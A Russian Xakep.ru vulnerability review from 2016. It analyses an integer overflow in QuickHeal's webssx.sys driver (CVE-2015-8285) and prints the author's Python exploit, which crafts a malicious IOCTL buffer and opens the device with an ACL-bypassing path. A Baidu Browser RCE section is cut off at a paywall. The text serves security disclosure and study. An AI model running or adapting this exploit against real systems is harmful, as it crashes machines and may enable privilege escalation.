В сегодняшнем обзоре мы рассмотрим DoS уязвимость в антивирусе QuickHeal, посмотрим, как происходит процесс поиска и эксплуатации ошибки в браузере Baidu для Android, и закончим взглядом на серию уязвимостей в популярной веб-камере.

 

DoS уязвимость в драйвере webssx.sys от QuickHeal

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 19 февраля 2016 года
Автор: Csaba Fitzl
CVE: 2015-8285

В антивирусе QuickHeal 16.00 (9.0.0.x) была обнаружена DoS-уязвимость, которая может привести к повышению привилегий. Уязвимый драйвер можно найти по следующему пути:

C:\Program Files\Quick Heal\Quick Heal Internet Security\webssx.sys

Если мы посмотрим его характеристики с помощью программы DeviceTree, то увидим, что, хоть она и должна быть доступна только администраторам или пользователю SYSTEM, флаг DEVICE_SECURE_OPEN не используется. Это означает, что любой пользователь может взаимодействовать с этим драйвером и произвольным путем к нему. Выглядеть он будет примерно так: \Device\webssx\sometext.

Свойства драйвера webssx в DeviceTree
Свойства драйвера webssx в DeviceTree

Далее автор нашел IOCTL код 0x830020FC, приводящий к вызову уязвимой функции. Но для того, чтобы попасть к ней, нужно, чтобы размер входящего буфера был больше, чем 0x138. Если условие выполняется, то по адресу webssx+5596, произойдет вызов sub_1D1E, который затем вызовет функцию webssx+1090. Граф вызовов представлен на скриншоте.

Граф вызовов уязвимой функции драйвера webssx
Граф вызовов уязвимой функции драйвера webssx

Целочисленное переполнение получается из-за недостаточной проверки получаемых данных из входного буфера. На скриншоте ты можешь видеть, что если мы имеем 0x1 в определенном месте буфера, то случится переход на небольшой участок кода, который установит новое значение регистра EDX. Данные берутся из буфера и к ним добавляется 0x14A.

Затем EDX используется для выделения пула в пространстве ядра. Если мы установим значение по смещению 0x130 в буфере на 0xffffffc0 или нечто похожее, то значение в EDX будет меньше, чем 0x14A. Затем оно используется для задания размера пула.

Если выделение пройдет успешно, то мы увидим, что будет скопировано 0x4E*4 = 0x138 байт внутрь пула из буфера. В случае повреждения размера выделения произойдет перезапись пула ядра, что, в свою очередь, приведет к повышению привилегий.

Перезапись пула ядра после переполнения в webssx
Перезапись пула ядра после переполнения в webssx

Когда функция продолжит работу, те же проверки будут снова выполнены, и мы обратимся к операции memcpy. Первоначальная задумка разработчиков, наверное, выглядела примерно так:

if some_value = 1:
  B = InputBuffer[0x130]
  Выделение пула размером A+B
else:
  Выделение пула размером A
  Копирование А байт из InputBuffer в пул

if some_value = 1
  Копирование дополнительных B байт из InputBuffer в пул
Вызов операции memcpy в webssx
Вызов операции memcpy в webssx

Операция memcpy вызовет BSOD (потому что размер параметра будет намного больше — 0xffffffc0, что примерно равно 4 ГБ) и может упасть в следующих случаях:

  1. наш ввод меньше 4 ГБ и попытается прочесть из памяти адреса, которые не инициализированы;
  2. на 32-битном компьютере у нас закончится память во время копирования.
 

EXPLOIT

Автор опубликовал на GitHub свой эксплойт для демонстрации уязвимости. Он написан на Python и для работы требует ctypes, чтобы обратиться к kernel32 и ntdll:

kernel32 = windll.kernel32
ntdll = windll.ntdll

Обратимся к кастомному обработчику ядра \\\\.\\webssx\some с нужными параметрами:

GENERIC_READ  = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
IOCTL_VULN    = 0x830020FC
DEVICE_NAME   = "\\\\.\\webssx\some" # Добавляем "some" для обходп ACL restriction, (FILE_DEVICE_SECURE_OPEN отсутствует для такого драйвера)
dwReturn      = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

inputbuffer       = 0x41414141 # адрес памяти входящего буфера
inputbuffer_size  = 0x1000
outputbuffer_size = 0x0
outputbuffer      = 0x20000000

Выделим память:

baseadd   = c_int(base)
size = c_int(evil_size)
evil_input = "\x41" * 0x10
evil_input += "\x42\x01\x42\x42" # триггер memcpy
evil_input += "\x42" * (0x130-0x14)
evil_input += "\xc0\xff\xff\xff" # это вызывает падение memcpy и появление BSOD
evil_input += "\x43" * (evil_size-len(evil_input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
  POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0,
  byref(size),
  MEM_RESERVE|MEM_COMMIT,
  PAGE_EXECUTE_READWRITE)
written = c_ulong()
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))

И отправляем ioctl-вызов:

dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
  None,
  None,
  None,
  byref(IoStatusBlock),
  IOCTL_VULN,
  inputbuffer,
  inputbuffer_size,
  outputbuffer,
  outputbuffer_size
)

Аналогичная уязвимость существует и на 64-битных системах, но так как оперативной памяти больше, то, по словам автора, возможен не только DoS, но и поднятие привилегий.

 

TARGETS

QuickHeal 16.00 (9.0.0.x)

 

SOLUTION

Производитель выпустил исправление.

 

Удаленное выполнение кода в Baidu Browser для Android

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 27 февраля 2016 года
Автор: lifeform-labs
CVE: N/A

Все началось с поста на xda-developers, где были расписаны уязвимости в браузере Baidu. Члены команды lifeform-labs решили показать пример того, что эксплуатация не составляет особого труда. Браузер же очень популярен: по данным Google Play, число загрузок составляет от десяти до пятидесяти миллионов.

Перед началом установки браузера автор запустил mitmproxy.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Check Also

Баг в реестре контейнеров Harbor позволяет любому получить права администратора

Специалисты Palo Alto Networks предупредили, что используя уязвимость в реестре контейнеро…

3 комментария

  1. Аватар

    martikus

    07.03.2016 at 22:07

  2. Аватар

    LorDo

    09.03.2016 at 18:43

    Вопрос по DVR, а какой функцией хэшируются пароли ?

Оставить мнение